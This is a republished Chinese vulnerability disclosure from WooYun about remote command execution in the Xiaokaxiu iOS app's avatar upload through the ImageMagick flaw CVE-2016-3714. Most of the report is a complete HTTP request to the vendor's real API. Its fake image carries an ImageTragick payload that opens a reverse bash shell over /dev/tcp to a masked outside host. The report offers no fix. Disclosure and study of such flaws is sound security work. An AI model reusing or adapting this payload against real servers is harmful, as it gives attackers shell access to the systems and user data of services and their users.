神刀安全网

漏洞标题: 小咖秀官方APP远程命令执行

漏洞详情

披露状态:

2016-05-06: 细节已通知厂商并且等待厂商处理中
2016-05-07: 厂商已经确认,细节仅向厂商公开
2016-05-17: 细节向核心白帽子及相关领域专家公开
2016-05-27: 细节向普通白帽子公开
2016-06-06: 细节向实习白帽子公开
2016-06-21: 细节向公众公开

简要描述:

APP安全之命令执行

详细说明:

目标:小咖秀IOS APP

在头像上传处及邮件编辑处皆存在CVE-2016-3714 – ImageMagick 命令执行

code 区域
POST http://api.xiaokaxiu.com/common/api/upload_headface HTTP/1.1
Host: api.xiaokaxiu.com
Content-Type: multipart/form-data; boundary=Boundary+FFB737DC73BC7C85
Connection: keep-alive
Connection: keep-alive
Accept: */*
User-Agent: YXCaptureApp/1.4.4 (iPhone; iOS 9.3.1; Scale/2.00)
Accept-Language: zh-Hans-CN;q=1, en-US;q=0.9
Content-Length: 921
Accept-Encoding: gzip, deflate

--Boundary+FFB737DC73BC7C85
Content-Disposition: form-data; name="_secdata"

4e4LM4VKOXONbTasTQ3MZBY3TlZzMFV6r8H4Z3Ib556D2G6aIt1c6HS86l77nCs4ft05V4HSyGgSslrPqSxW5iHfSt6qPVzwsZIfYugObWIQ7hoN8-xWU1OC5xAzkKe99kDdEkC5cLVhdC0Z4vP1HjhdOky6F0rGc6IX2gIiTY25h8Z0MG7qMKzxa-V5Q5XNSCXTvKmcz3DQE49K7gadUf_Gts0kCzp8Y9bi-nAhOuX8fT5CBFXNWpxMZKbQ406lijLmT2-_hSrZrGR_DaDLa_KBrKUwn1HZXcuGkhgBxES4_lGiB0W69-7cD1WO8w5xK64sLa6ABS1OQKC0CY_Duwo5b4G0Ji5NJylMh8uA51zEhGaUAhI76qWlelqJPqluSD8wDzzIl5x9GNovQrRW4tyX41bd6qsxlg-QJjbu8x3hSB_JkSzsh-8PlpfOfZ1TuhVqcK-OePqraWZBPNCC6VEsjStBMH0OosGGDJwc9SIu26Tfotzaa5NENO5V04iigm_3PVS1MxTVzUo7wGRd88QTdXVIbc_x
--Boundary+FFB737DC73BC7C85
Content-Disposition: form-data; name="headface"; filename="temp.jpg"
Content-Type: image/jpg

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/xxx.xxx.net/2015 0>&1")'
pop graphic-context
--Boundary+FFB737DC73BC7C85--

漏洞证明:

反弹shell

漏洞标题:  小咖秀官方APP远程命令执行

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 小咖秀官方APP远程命令执行

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址